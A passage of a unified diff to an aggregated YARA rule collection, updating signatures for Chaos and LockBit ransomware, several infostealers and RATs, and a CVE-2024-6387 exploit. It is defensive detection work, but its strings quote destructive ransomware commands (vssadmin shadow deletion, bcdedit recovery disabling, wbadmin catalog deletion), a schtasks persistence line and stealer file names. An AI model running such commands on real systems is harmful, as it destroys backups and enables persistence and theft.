catalog -quiet" ascii wide fullword + $a18 = "C:\\Users\\" ascii wide fullword + $a22 = "/9j/4AAQSkZJRgABAQAAAQABAAD/4gHYSUNDX1BST0ZJTEUAAQEAAAHIAAAAAAQwAABtbnRyUkdCIFhZWiAH4AABAAEAAAAAAABhY3NwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAA9tYAAQAAAADTLQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAlkZXNjAAAA8AAAACRyWFlaAAABFAAAABRnWFlaAAABKAAAABRiWFlaAAABPAAAABR3dHB0AAABUAAAABRyVFJDAAABZAAAAChnVFJDAAABZAAAAChiVFJDAAABZAAAAChjcHJ0AAABjAAAADxtbHVjAAAAAAAAAAEAAAAMZW5VUwAAAAgAAAAcAHMAUgBHAEJYWVogAAAAAAAAb6IAADj1AAADkFhZWiAAAAAAAABimQAAt4UAABjaWFlaIAAAAAAAACSgAAAPhAAAts9YWVogAAAAAAAA9tYAAQAAAADTLXBhcmEAAAAAAAQAAAACZmYAAPKnAAANWQAAE9AAAApbAAAAAAAAAABtbHVjAAAAAAAAAAEAAAAMZW5VUwAAACAAAAAcAEcAbwBvAGcAbABlACAASQBuAGMALgAgADIAMAAxADb/2wBDAAEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQH/2wBDAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQH/wAARCAQ4B4ADAREAAhEBAxEB/8QAHwAAAAYDAQEBAAAAAAAAAAAABAUGBwgJAgMKAQAL/8QAgRAAAQIDBQQIAwcCAgQIAAI7AQIRAwQhAAUGMUEHElFhCBMicYGRofCxwdEJFCMyQuHxFVIzYhYkQ3IKFzRTY4KSshglRHOi0uIZJlRkg5PCJzU2RVZYdJaXo9PWGkZHVVeEprO1KDllZ3V2eIaHlJWktLbDxtTV1zd3xMVmp8f" ascii wide fullword + $a24 = "17CqMQFeuB3NTzJ" ascii wide fullword + $a25 = "(?:[13]{1}[a-km-zA-HJ-NP-Z1-9]{26,33}|bc1[a-z0-9]{39,59})" ascii wide fullword + $a26 = "7z459ajrk722yn8c5j4fg" ascii wide + $a27 = "2X28tfRmWaPyPQgvoHV" ascii wide + $a28 = "1qw0ll8p9m8uezhqhyd" ascii wide + $b11 = "\\Saved Games" ascii wide fullword condition: - ( filesize < 1MB ) and ( uint16( 0 ) == 0x5a4d ) and ( 2 of them ) + ( filesize < 9MB ) and ( uint16( 0 ) == 0x5a4d ) and ( ( 3 of them ) ) +} +rule CRAIU_Susp_Ios_Shutdown +{ + meta: + description = "Detect shutdown.log files from sysdiags with suspicious entries" + author = "Costin G. Raiu, Art of Noh, craiu@noh.ro" + id = "08aa1fb9-7af0-515a-91a8-09ed35e48155" + date = "2023-12-28" + modified = "2024-03-05" + reference = "https://securelist.com/shutdown-log-lightweight-ios-malware-detection-method/111734/" + source_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/files/susp_ios_shutdown.yara#L2-L25" + license_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/LICENSE" + logic_hash = "936101f2dddb73f6dda41be47d775199c458aa4fecdcf348ed479da620343ea1" + score = 65 + quality = 85 + tags = "" + version = "1.0" + tlp = "TLP:CLEAR" + + strings: + $a1 = "these clients are still here:" + $b1 = "/private/var/db/" + $b2 = "/private/var/tmp/" + $c1 = "After " + + condition: + ($c1 at 0 ) and $a1 and ( any of ( $b* ) ) } rule CRAIU_Apt_ZZ_Orangeworm_Kwampirs_Dropperandmainpayload : KWAMPIRS { @@ -177788,132 +177751,6 @@ rule CRAIU_Apt_ZZ_Orangeworm_Kwampirs_Shamoon : FILE condition: (( uint16( 0 ) == 0x5a4d ) and ( filesize < 4000KB ) and ( 3 of them ) ) } -rule CRAIU_Crime_Chaos_Ransomware_Gen : FILE -{ - meta: - description = "Chaos ransomware generic strings" - author = "Costin G. Raiu, Art of Noh, craiu@noh.ro" - id = "e909f7e4-50c2-54a6-8274-9ef92f95bf93" - date = "2024-05-27" - modified = "2024-05-28" - reference = "https://blog.sonicwall.com/en-us/2024/05/politically-charged-ransomware-weaponized-as-a-file-destroyer/" - source_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/files/crime_chaos_ransomware.yara#L2-L39" - license_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/LICENSE" - hash = "524a898e18999ceac864dbac5b85fa2f14392e389b3c32f77d58e2a89cdf01c4" - logic_hash = "7d2e1c9178d5bf360cebc90056bbdae6a11729b1b3c5e963c522a29fd7ba7a3e" - score = 75 - quality = 60 - tags = "FILE" - version = "1.0" - - strings: - $a0 = "<Exponent>AQAB</Exponent>" ascii wide fullword - $a2 = "<EncryptedKey>" ascii wide fullword - $a15 = "vssadmin delete shadows /all /quiet & wmic shadowcopy delete" ascii wide fullword - $a16 = "bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no" ascii wide fullword - $a17 = "wbadmin delete catalog -quiet" ascii wide fullword - $a18 = "C:\\Users\\" ascii wide fullword - $a22 = "/9j/4AAQSkZJRgABAQAAAQABAAD/4gHYSUNDX1BST0ZJTEUAAQEAAAHIAAAAAAQwAABtbnRyUkdCIFhZWiAH4AABAAEAAAAAAABhY3NwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAA9tYAAQAAAADTLQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAlkZXNjAAAA8AAAACRyWFlaAAABFAAAABRnWFlaAAABKAAAABRiWFlaAAABPAAAABR3dHB0AAABUAAAABRyVFJDAAABZAAAAChnVFJDAAABZAAAAChiVFJDAAABZAAAAChjcHJ0AAABjAAAADxtbHVjAAAAAAAAAAEAAAAMZW5VUwAAAAgAAAAcAHMAUgBHAEJYWVogAAAAAAAAb6IAADj1AAADkFhZWiAAAAAAAABimQAAt4UAABjaWFlaIAAAAAAAACSgAAAPhAAAts9YWVogAAAAAAAA9tYAAQAAAADTLXBhcmEAAAAAAAQAAAACZmYAAPKnAAANWQAAE9AAAApbAAAAAAAAAABtbHVjAAAAAAAAAAEAAAAMZW5VUwAAACAAAAAcAEcAbwBvAGcAbABlACAASQBuAGMALgAgADIAMAAxADb/2wBDAAEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQH/2wBDAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQH/wAARCAQ4B4ADAREAAhEBAxEB/8QAHwAAAAYDAQEBAAAAAAAAAAAABAUGBwgJAgMKAQAL/8QAgRAAAQIDBQQIAwcCAgQIAAI7AQIRAwQhAAUGMUEHElFhCBMicYGRofCxwdEJFCMyQuHxFVIzYhYkQ3IKFzRTY4KSshglRHOi0uIZJlRkg5PCJzU2RVZYdJaXo9PWGkZHVVeEprO1KDllZ3V2eIaHlJWktLbDxtTV1zd3xMVmp8f" ascii wide fullword - $a24 = "17CqMQFeuB3NTzJ" ascii wide fullword - $a25 = "(?:[13]{1}[a-km-zA-HJ-NP-Z1-9]{26,33}|bc1[a-z0-9]{39,59})" ascii wide fullword - $a26 = "7z459ajrk722yn8c5j4fg" ascii wide - $a27 = "2X28tfRmWaPyPQgvoHV" ascii wide - $a28 = "1qw0ll8p9m8uezhqhyd" ascii wide - $b11 = "\\Saved Games" ascii wide fullword - - condition: - ( filesize < 9MB ) and ( uint16( 0 ) == 0x5a4d ) and ( ( 3 of them ) ) -} -rule CRAIU_Susp_Ios_Shutdown -{ - meta: - description = "Detect shutdown.log files from sysdiags with suspicious entries" - author = "Costin G. Raiu, Art of Noh, craiu@noh.ro" - id = "08aa1fb9-7af0-515a-91a8-09ed35e48155" - date = "2023-12-28" - modified = "2024-03-05" - reference = "https://securelist.com/shutdown-log-lightweight-ios-malware-detection-method/111734/" - source_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/files/susp_ios_shutdown.yara#L2-L25" - license_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/LICENSE" - logic_hash = "936101f2dddb73f6dda41be47d775199c458aa4fecdcf348ed479da620343ea1" - score = 65 - quality = 85 - tags = "" - version = "1.0" - tlp = "TLP:CLEAR" - - strings: - $a1 = "these clients are still here:" - $b1 = "/private/var/db/" - $b2 = "/private/var/tmp/" - $c1 = "After " - - condition: - ($c1 at 0 ) and $a1 and ( any of ( $b* ) ) -} -rule CRAIU_Crashstrike : FILE -{ - meta: - description = "Crowdstrike C-00000???-*.sys files" - author = "Costin G. Raiu, Art of Noh, craiu@noh.ro" - id = "9a5168c4-0a7f-5269-bafa-728f123a04c5" - date = "2024-07-19" - modified = "2024-07-19" - reference = "https://en.wikipedia.org/wiki/July_2024_global_cyber_outages" - source_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/files/20240719_crashstrike.yara#L2-L26" - license_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/LICENSE" - hash = "9d001ef3206fe2f955095244e6103ad7f8f318c7c5cbd91a0dd1f33e4217fcb2" - logic_hash = "9a8dacf9d95042851073c40f5eab2a6aff61be3a576363ffcd8c21aaec7f0b96" - score = 75 - quality = 85 - tags = "FILE" - version = "1.0" - - strings: - $a1 = "000E0A000E0GHijklMNOPqRSTUVwX" - $a2 = "AbCDEfghIjklMNoPqrstuV" - - condition: - ( filesize < 60KB ) and ( uint32( 0 ) == 0xaaaaaaaa ) and ( all of them ) -} -rule CRAIU_Exploit_CVE_2024_6387 : CVE_2024_6387 FILE -{ - meta: - description = "Strings from CVE-2024-6387 exploit PoC by zgzhang." - author = "Costin G. Raiu, TLPBLACK, craiu@noh.ro" - id = "6ac63016-864d-57af-bb36-3115a0a91021" - date = "2024-07-02" - modified = "2024-07-03" - reference = "https://github.com/zgzhang/cve-2024-6387-poc/tree/main" - source_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/files/exploit_cve_2024_6387.yara#L2-L38" - license_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/LICENSE" - hash = "62b06a6c30a0c891c2246ff87c0ad9ae03d2123601ba5331d6348c43b38d185e" - logic_hash = "d43a77c2690b5e01639590bc31fa64fa36b1da5efd3cc0761be7369ce80e4253" - score = 75 - quality = 85 - tags = "CVE-2024-6387, FILE" - version = "1.0" - - strings: - $a0 = "Attempting exploitation with glibc base: 0x%lx" ascii wide fullword - $a1 = "Attempt %d of 20000" ascii wide fullword - $a2 = "Failed to establish connection, attempt %d" ascii wide fullword - $a3 = "SSH handshake failed, attempt %d" ascii wide fullword - $a4 = "Possible exploitation success on attempt %d with glibc base 0x%lx!" ascii wide fullword - $a5 = "Received SSH version: %s" ascii wide fullword - $a6 = "Connection closed while receiving SSH version" ascii wide fullword - $a7 = "Received KEX_INIT (%zd bytes)" ascii wide fullword - $a8 = "Connection closed while receiving KEX_INIT" ascii wide fullword - $a9 = "Estimated parsing time: %.6f seconds" ascii wide fullword - $a10 = "Received response after exploit attempt (%zd bytes)" ascii wide fullword - $a11 = "Possible hit on 'large' race window" ascii wide fullword - $a12 = "Connection closed by server - possible successful exploitation" ascii wide fullword - $a13 = "No immediate response from server - possible successful exploitation" ascii wide fullword - $a14 = "Attempt %d of 10000" ascii wide fullword - - condition: - ( filesize < 5MB ) and ( uint32be( 0 ) == 0x7F454C46 ) and ( 4 of ( $a* ) ) -} rule CRAIU_Unk_Liblzma_Backdoor : FILE { meta: @@ -177982,6 +177819,44 @@ rule CRAIU_Unk_Liblzma_Encstrings : FILE condition: ( filesize < 15MB ) and ( any of them ) } +rule CRAIU_Exploit_CVE_2024_6387 : CVE_2024_6387 FILE +{ + meta: + description = "Strings from CVE-2024-6387 exploit PoC by zgzhang." + author = "Costin G. Raiu, TLPBLACK, craiu@noh.ro" + id = "6ac63016-864d-57af-bb36-3115a0a91021" + date = "2024-07-02" + modified = "2024-07-03" + reference = "https://github.com/zgzhang/cve-2024-6387-poc/tree/main" + source_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/files/exploit_cve_2024_6387.yara#L2-L38" + license_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/LICENSE" + hash = "62b06a6c30a0c891c2246ff87c0ad9ae03d2123601ba5331d6348c43b38d185e" + logic_hash = "d43a77c2690b5e01639590bc31fa64fa36b1da5efd3cc0761be7369ce80e4253" + score = 75 + quality = 85 + tags = "CVE-2024-6387, FILE" + version = "1.0" + + strings: + $a0 = "Attempting exploitation with glibc base: 0x%lx" ascii wide fullword + $a1 = "Attempt %d of 20000" ascii wide fullword + $a2 = "Failed to establish connection, attempt %d" ascii wide fullword + $a3 = "SSH handshake failed, attempt %d" ascii wide fullword + $a4 = "Possible exploitation success on attempt %d with glibc base 0x%lx!" ascii wide fullword + $a5 = "Received SSH version: %s" ascii wide fullword + $a6 = "Connection closed while receiving SSH version" ascii wide fullword + $a7 = "Received KEX_INIT (%zd bytes)" ascii wide fullword + $a8 = "Connection closed while receiving KEX_INIT" ascii wide fullword + $a9 = "Estimated parsing time: %.6f seconds" ascii wide fullword + $a10 = "Received response after exploit attempt (%zd bytes)" ascii wide fullword + $a11 = "Possible hit on 'large' race window" ascii wide fullword + $a12 = "Connection closed by server - possible successful exploitation" ascii wide fullword + $a13 = "No immediate response from server - possible successful exploitation" ascii wide fullword + $a14 = "Attempt %d of 10000" ascii wide fullword + + condition: + ( filesize < 5MB ) and ( uint32be( 0 ) == 0x7F454C46 ) and ( 4 of ( $a* ) ) +} rule CRAIU_Crime_Noabot : FILE { meta: @@ -178024,14 +177899,69 @@ rule CRAIU_Crime_Noabot : FILE condition: filesize < 10MB and ( uint32( 0 ) == 0x464c457f ) and ( ( any of ( $a* ) ) or ( all of ( $b* ) ) or ( all of ( $c* ) ) ) } +rule CRAIU_Crime_Lockbit3_Ransomware : FILE +{ + meta: + description = "Generic LockBit detection, also catches the version used in attacks in Indonesia." + author = "Costin G. Raiu, TLPBLACK, craiu@noh.ro" + id = "167788a4-a610-5770-9f51-aa4cc4d3d350" + date = "2024-07-03" + modified = "2024-07-03" + reference = "https://www.bleepingcomputer.com/news/security/meet-brain-cipher-the-new-ransomware-behind-indonesia-data-center-attack/" + source_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/files/crime_lockbit3_ransomware.yara#L2-L32" + license_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/LICENSE" + hash = "eb82946fa0de261e92f8f60aa878c9fef9ebb34fdababa66995403b110118b12" + hash = "6e07da23603fbe5b26755df5b8fec19cadf1f7001b1558ea4f12e20271263417" + logic_hash = "84efb899315379d85a03959359f89fbcb97cbb6477f1ec439380a4d15fed4f53" + score = 75 + quality = 85 + tags = "FILE" + version = "1.1" + + strings: + $a1 = {C3 8BFF53 51 6A0158 0FA2F7C1000000400F95C0 84C074090FC7F0 0FC7F2 59 5B C3 } + $a2 = {C3 6A0758 33C90FA2F7C3000004000F95C0 84C074090FC7F8 0FC7FA 59 5B C3 } + $a3 = {C3 0F31 8BC8 C1C90D 0F31 8BD0 C1C20D 8BC1 59 5B C3 } + $a4 = {55 8BEC 51 52 56 33C0 8B550C 8B7508 AC 33C9 B930000000 8D0C4D01000000 02F1 2AF1 33C9 B906000000 8D0C4D01000000 D3CA 03D0 90 85C0} + $a5 = {E9 ?? ?? ?? ?? 6683F841 720C 6683F846 7706 6683E837 EB26 6683F861 720C 6683F866 7706 6683E857 EB14 6683F830 720C 6683F839 7706 6683E830 EB} + $a6 = {5D 8BC3 5F 5E 5B 5D C20C00 90 55 8BEC 53 56 57 33C0 8B5D14 33C9 33D2 8B750C 8B7D08 85F6 } + + condition: + ( filesize < 1MB ) and ( uint16( 0 ) == 0x5a4d ) and ( 2 of them ) +} +rule CRAIU_Crashstrike : FILE +{ + meta: + description = "Crowdstrike C-00000???-*.sys files" + author = "Costin G. Raiu, Art of Noh, craiu@noh.ro" + id = "9a5168c4-0a7f-5269-bafa-728f123a04c5" + date = "2024-07-19" + modified = "2024-07-19" + reference = "https://en.wikipedia.org/wiki/July_2024_global_cyber_outages" + source_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/files/20240719_crashstrike.yara#L2-L26" + license_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/LICENSE" + hash = "9d001ef3206fe2f955095244e6103ad7f8f318c7c5cbd91a0dd1f33e4217fcb2" + logic_hash = "9a8dacf9d95042851073c40f5eab2a6aff61be3a576363ffcd8c21aaec7f0b96" + score = 75 + quality = 85 + tags = "FILE" + version = "1.0" + + strings: + $a1 = "000E0A000E0GHijklMNOPqRSTUVwX" + $a2 = "AbCDEfghIjklMNoPqrstuV" + + condition: + ( filesize < 60KB ) and ( uint32( 0 ) == 0xaaaaaaaa ) and ( all of them ) +} /* * YARA Rule Set * Repository Name: DitekSHen * Repository: https://github.com/ditekshen/detection - * Retrieval Date: 2026-02-22 + * Retrieval Date: 2026-03-01 * Git Commit: e76c93dcdedff04076380ffc60ea54e45b313635 - * Number of Rules: 1436 - * Skipped: 0 (age), 117 (quality), 0 (score), 0 (importance) + * Number of Rules: 1442 + * Skipped: 0 (age), 111 (quality), 0 (score), 0 (importance) * * * LICENSE @@ -178263,7 +178193,7 @@ rule DITEKSHEN_INDICATOR_SUSPICIOUS_AHK_Downloader : FILE license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" logic_hash = "8806d8c03adb4ea4cd9b806f8f8c21e561b39b5602c70d09ed193e35e1502d35" score = 40 - quality = 20 + quality = 45 tags = "FILE" importance = 20 @@ -178504,6 +178434,35 @@ rule DITEKSHEN_INDICATOR_SUSPICIOUS_PWSH_Asciiencoding_Pattern : FILE condition: 1 of ( $enc* ) and 4 of ( $s* ) and filesize < 2500KB } +rule DITEKSHEN_INDICATOR_SUSPICIOUS_JS_Hex_B64Encoded_EXE : FILE +{ + meta: + description = "Detects JavaScript files hex and base64 encoded executables" + author = "ditekSHen" + id = "37516c6b-0a77-5a20-a36f-5f8309b37362" + date = "2020-11-06" + modified = "2024-06-08" + reference = "https://github.com/ditekshen/detection" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_suspicious.yar#L726-L740" + license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" + logic_hash = "60185e6ec96875085ffb7a6bf6eb8643368bbce42b89290ab987eb32c1e153bd" + score = 40 + quality = 20 + tags = "FILE" + importance = 20 + + strings: + $s1 = ".SaveToFile" ascii + $s2 = ".Run" ascii + $s3 = "ActiveXObject" ascii + $s4 = "fromCharCode" ascii + $s5 = "\\x66\\x72\\x6F\\x6D\\x43\\x68\\x61\\x72\\x43\\x6F\\x64\\x65" ascii + $binary = "\\x54\\x56\\x71\\x51\\x41\\x41" ascii + $pattern = /[\s\{\(\[=]_0x[0-9a-z]{3,6}/ ascii + + condition: + $binary and $pattern and 2 of ( $s* ) and filesize < 2500KB +} rule DITEKSHEN_INDICATOR_SUSPICIOUS_WMIC_Downloader : FILE { meta: @@ -178802,7 +178761,7 @@ rule DITEKSHEN_INDICATOR_SUSPICIOUS_Finger_Download_Pattern license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" logic_hash = "04cbb1abc4c3d2990bae798ece052eb8aa1b5104b5712e98aeb80731316b9c57" score = 40 - quality = 20 + quality = 45 tags = "" importance = 20 @@ -180180,37399 +180139,37563 @@ rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_References_Publicserviceinterface : FILE condition: ( uint16( 0 ) == 0x5a4d or uint16( 0 ) == 0x457f or uint16( 0 ) == 0xfacf ) and 1 of them } -rule DITEKSHEN_INDICATOR_JAVA_Packed_Allatori +rule DITEKSHEN_MALWARE_Win_Laturo : FILE { meta: - description = "Detects files packed with Allatori Java Obfuscator" + description = "Laturo information stealer payload" author = "ditekSHen" - id = "16b9f455-ba73-5f09-9822-8349c53fa965" + id = "221a1ee8-e1ae-558c-919c-e3f55c1500f0" date = "2020-11-06" - modified = "2023-08-29" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_packed.yar#L113-L121" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L3-L26" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "ac48a573eb9d9fffe38d09993ff062f308edb07b8a7498e332cc3eb501d48db7" + logic_hash = "bfb0c5676c926f58a4395a56dad09b37e8ac1cf0bf6b5521767c16698644b73a" score = 75 - quality = 75 - tags = "" - importance = 20 + quality = 61 + tags = "FILE" + clamav_sig = "MALWARE.Win.Trojan.Laturo" strings: - $s1 = "# Obfuscation by Allatori Obfuscator" ascii wide + $str1 = "cmd.exe /c ping 127.0.0.1" ascii wide + $str2 = "cmd.exe /c start" ascii wide + $str3 = "\\RapidLoader\\" ascii + $str4 = "loader/gate.php" ascii wide + $str5 = "Hwid:" ascii wide + $str6 = "Special:" ascii wide + $str7 = "logs=%s" ascii + $data1 = "cookies.%u.txt" nocase ascii wide + $data2 = "passwords.%u.txt" nocase ascii wide + $data3 = "credentials.%u.txt" nocase ascii wide + $data4 = "cards.%u.txt" nocase ascii wide + $data5 = "autofill.%u.txt" nocase ascii wide + $data6 = "loginusers.vdf" ascii wide + $data7 = "screenshot.bmp" nocase ascii wide + $data8 = "webcam.bmp" nocase ascii wide condition: - all of them + uint16( 0 ) == 0x5a4d and 5 of ( $str* ) and 1 of ( $data* ) } -rule DITEKSHEN_INDICATOR_EXE_Python_Byte_Compiled : FILE +rule DITEKSHEN_MALWARE_Win_Xpertrat : FILE { meta: - description = "Detects python-byte compiled executables" + description = "XpertRAT payload" author = "ditekSHen" - id = "04ae604c-6176-54cf-98e9-4386e52420f8" + id = "cea7de47-b47c-5fea-96ee-5858b16cca8d" date = "2020-11-06" - modified = "2023-08-29" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_packed.yar#L211-L220" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L28-L56" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "212d525509a4d8fb7f1b5efa929526c8758549bfdb8591c88ce602315e6b3147" + logic_hash = "2a521bd1d6ce16fa16aa7757db2657dcab15e6802454ad899906d4ed17401feb" score = 75 - quality = 75 + quality = 63 tags = "FILE" - importance = 20 + snort_sid = "920003-920006" + clamav_sig = "MALWARE.Win.Trojan.XpertRAT" strings: - $s1 = "b64decode" ascii - $s2 = "decompress" ascii + $v1 = "[XpertRAT-Mutex]" fullword wide + $v2 = "XPERTPLUGIN" fullword wide + $v3 = "+Xpert+3." wide + $v4 = "keylog.tmp" fullword wide + $v5 = "\\TempReg.reg" fullword wide + $s1 = "ClsKeylogger" fullword ascii nocase + $s2 = "clsCamShot" fullword ascii nocase + $s3 = "ClsShellCommand" fullword ascii nocase + $s4 = "ClsRemoteDesktop" fullword ascii nocase + $s5 = "ClsScreenRemote" fullword ascii nocase + $s6 = "ClsSoundRemote" fullword ascii nocase + $s7 = "MdlHidder" fullword ascii + $s8 = "modKeylog" fullword ascii + $s9 = "modWipe" fullword ascii + $s10 = "modDelProcInUse" fullword ascii + $s11 = "Socket_DataArrival" fullword ascii + $s12 = "cZip_EndCompress" fullword ascii condition: - uint32( 0 ) == 0x0a0df303 and filesize < 5KB and all of them + uint16( 0 ) == 0x5a4d and ( 3 of ( $v* ) or 6 of ( $s* ) ) } -rule DITEKSHEN_INDICATOR_MSI_EXE2MSI : FILE +rule DITEKSHEN_MALWARE_Win_Isrstealer : FILE { meta: - description = "Detects executables converted to .MSI packages using a free online converter." + description = "ISRStealer payload" author = "ditekSHen" - id = "039df7b6-e4bf-5537-ae5b-f2168044e77e" + id = "d6c3acdd-e881-5f97-8856-b7b60f56a1c2" date = "2020-11-06" - modified = "2023-08-29" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_packed.yar#L222-L233" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L112-L128" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "afd48b54766600805ae1aeef13b11de4ca160ea1f96419a4090ab9dae55fa4cd" + logic_hash = "5dd030ab8122b5dd432168647c7a3465cb3593a326f68b4863a91d16587641e5" score = 75 quality = 75 tags = "FILE" - snort2_sid = "930061-930063" - snort3_sid = "930022" - importance = 20 + clamav_sig = "MALWARE.Win.Trojan.ISRStealer" strings: - $winin = "Windows Installer" ascii - $title = "Exe to msi converter free" ascii + $s1 = "&password=" wide + $s2 = "&pcname=" wide + $s3 = "MSVBVM60.DLL" ascii + $s4 = "MSVBVM60.DLL" wide + $s5 = "Core Software For : Public" wide + $s6 = "</Host>" wide + $s7 = "</Pass>" wide + $s8 = "/scomma" wide condition: - uint32( 0 ) == 0xe011cfd0 and ( $winin and $title ) + ( uint16( 0 ) == 0x5a4d and filesize < 4000KB and 6 of them ) or all of them } -rule DITEKSHEN_INDICATOR_PY_Packed_Pyminifier : FILE +rule DITEKSHEN_MALWARE_Win_Limerat : FILE { meta: - description = "Detects python code potentially obfuscated using PyMinifier" + description = "LimeRAT payload" author = "ditekSHen" - id = "a111c116-a2b3-5689-8d44-221adf37e932" + id = "a4b85cad-97a8-514c-9380-f3e8ec95a44d" date = "2020-11-06" - modified = "2023-08-29" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_packed.yar#L331-L339" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L152-L168" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "c7e916906d4654215de6d12e1bff790f24bcf69e97a7e5314a2a057a91b135a3" + logic_hash = "8ae35c5fa48773b93da0b76b238fc8dbaf19fdeb6fd81bf23842c5121d620116" score = 75 quality = 75 tags = "FILE" - importance = 20 strings: - $s1 = "exec(lzma.decompress(base64.b64decode(" + $s1 = "schtasks /create /f /sc ONLOGON /RL HIGHEST /tn LimeRAT-Admin /tr" wide + $s2 = "\\vboxhook.dll" fullword wide + $s3 = "Win32_Processor.deviceid=\"CPU0\"" fullword wide + $s4 = "select CommandLine from Win32_Process where Name='{0}'" wide + $s5 = "Minning..." fullword wide + $s6 = "Regasm.exe" fullword wide + $s7 = "Flood!" fullword wide + $s8 = "Rans-Status" fullword wide + $s9 = "cmd.exe /c ping 0" wide condition: - ( uint32( 0 ) == 0x6f706d69 or uint16( 0 ) == 0x2123 or uint16( 0 ) == 0x0a0d or uint16( 0 ) == 0x5a4d ) and all of them + uint16( 0 ) == 0x5a4d and 5 of them } -rule DITEKSHEN_INDICATOR_RTF_EXPLOIT_CVE_2017_0199_1 : CVE_2017_0199 FILE +rule DITEKSHEN_MALWARE_Win_Arkei : FILE { meta: - description = "Detects RTF documents potentially exploiting CVE-2017-0199" + description = "Detect Arkei infostealer variants" author = "ditekSHen" - id = "74b3702a-7b4d-58be-ad2c-c2b1cf0ebc50" + id = "d32a27bf-abb9-553c-9913-d675c340a5c5" date = "2020-11-06" - modified = "2024-09-06" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_office.yar#L1-L69" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L210-L226" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "06b75267f00b775a6c1cd7a2022a9cfa0ea2c976f969c2c066be51449f197f58" + logic_hash = "8a79bcc6ac94900c8a8913b2e81424bf900bbac416f44a91db6f208f23980155" score = 75 quality = 75 - tags = "CVE-2017-0199, FILE" + tags = "FILE" strings: - $urlmoniker3 = { 45 0a 30 0a 43 0a 39 0a 45 0a 41 0a 37 0a 39 0a - 46 0a 39 0a 42 0a 41 0a 43 0a 45 0a 31 0a 31 0a - 38 0a 43 0a 38 0a 32 0a 30 0a 30 0a 